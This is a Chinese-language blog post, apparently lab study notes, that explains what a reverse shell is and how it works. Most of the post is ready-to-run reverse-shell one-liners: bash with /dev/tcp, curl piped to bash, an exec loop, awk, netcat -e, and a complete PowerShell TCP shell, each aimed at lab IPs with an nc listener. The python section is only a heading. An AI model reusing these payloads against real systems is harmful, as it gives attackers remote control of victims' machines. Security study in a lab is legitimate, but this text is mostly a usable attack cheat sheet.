20201116-web方向-命令执行

反弹shell 的方式

什么是反弹shell:

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

客户端连接服务端为正向连接(远程桌面、ssh等),反向连接弹shell(即反弹shell,攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)

原理:

让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)

  1. 攻击者A开启1234端口TCP服务
  2. 受害者B连接1234端口TCP服务
  3. A、B建立TCP连接
  4. A通过TCP服务将待执行命令发送到B
  5. B执行命令后将结果发送给A

1、bash反弹shell,适用于攻击目标为Linux系统

bash一句话命令详解

bash -i  :产生一个bash交互环境

>&    : 将联合符号前面的内容与后面相结合然后一起重定向给后者

/dev/tcp/192.168.1.1/8080  :Linux环境中所有的内容都是以文件形式存在的,其实大家一看见这个内容就明白。就是让主机与目标主机192.168.1.1:8080端口建立一个tcp连接。

0>&1  :将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容

例子:

在kali虚拟机中输入nc -lvp 1234,监听1234端口,kali作为攻击端

在Ubuntu虚拟机中输入bash -i >& /dev/tcp/192.168.230.146/1234 0>&1

 再返回kali虚拟机中,会进入到被攻击者的用户下,此时就可以执行任何命令了。(会有网络延迟)

例子2,侦听1234端口,攻击端不能获得shell,但可以查看被攻击端命令输出的内容

攻击端开始侦听

  被攻击端输入命令,输出内容被重定向到攻击端,所以在本地输入命令无法查看结果

 

 结果在攻击端可以看到

 例子3,使用输入重定向,将攻击端输入的内容当做命令执行(执行一次就断)

攻击端开始侦听端口

被攻击端执行以下命令

 攻击端输入命令,被攻击端显示命令并执行(但是没有显示执行结果)

被攻击端显示了命令但是没有显示结果

 

 例子4,为了获取交互式shell,需要使用文件描述符0>&1

同样,先在攻击端侦听1234端口

攻击端输入命令   nc -lvp 1234

被供给端输入命令    bash -i > /dev/tcp/192.168.230.146/1234 0>&1

然后在攻击端输入命令可以查看到执行结果,缺点是被攻击端也能看到攻击端输入的命令。

攻击端:

 被攻击端:

 例子5,使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell

攻击端输入命令   nc -lvp 1234

被攻击端输入命令   bash -i &> /dev/tcp/192.168.230.146/1234 0>&1

攻击端显示界面:输入命令后显示执行结果

 被攻击端显示界面:

 2、curl反弹shell

适用对象目标为Linux系统

攻击端启动HTTP服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)

 

攻击端侦听端口,被攻击端输入命令后建立连接

 被攻击端输入命令   curl 192.168.230.147/reverse_shell|bash

原理:间接使用bash,使用curl访问远程站点下文件,并使用管道符重定向到bash

缺点:查看服务可以直接看到主机被攻陷

 3、exec 反弹shell     目标为Linux系统

攻击端侦听1234端口

被攻击端输入命令 exec 5<>/dev/tcp/192.168.230.147/1234;cat <&5 | while read line; do $line 2>&5 >&5; done

 攻击端查看状态,已成功,并可执行命令

 4、AWK弹shell    目标为Linux系统

攻击端输入命令nc -lvp 1234 侦听1234端口

被攻击端输入awk 'BEGIN {s = "/inet/tcp/0/192.168.230.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

攻击端成功进入shell,并执行命令

优点:长联,被攻击端一直保持向攻击端反弹shell状态

退出后,只要被攻击端没有手动结束,则会一直保持状态,攻击端退出后,不用再次执行命令就可用nc重新连入shell

 5、netcat 反弹shell   (都需要安装netcat)

攻击端输入nc -lvp 1234  进行侦听

被攻击端输入nc -e /bin/bash 192.168.230.1 1234

攻击端成功进入目标shell

6、Windows反弹shell -- powershell

攻击端输入nc -lvp 1234 侦听端口

被攻击端输入powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.230.148',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

 

攻击端成功进入Windows  shell环境

 

 7、python 反弹 shell

 

posted @ 2020-11-16 10:27  看,飞碟!!  阅读(173)  评论(0编辑  收藏  举报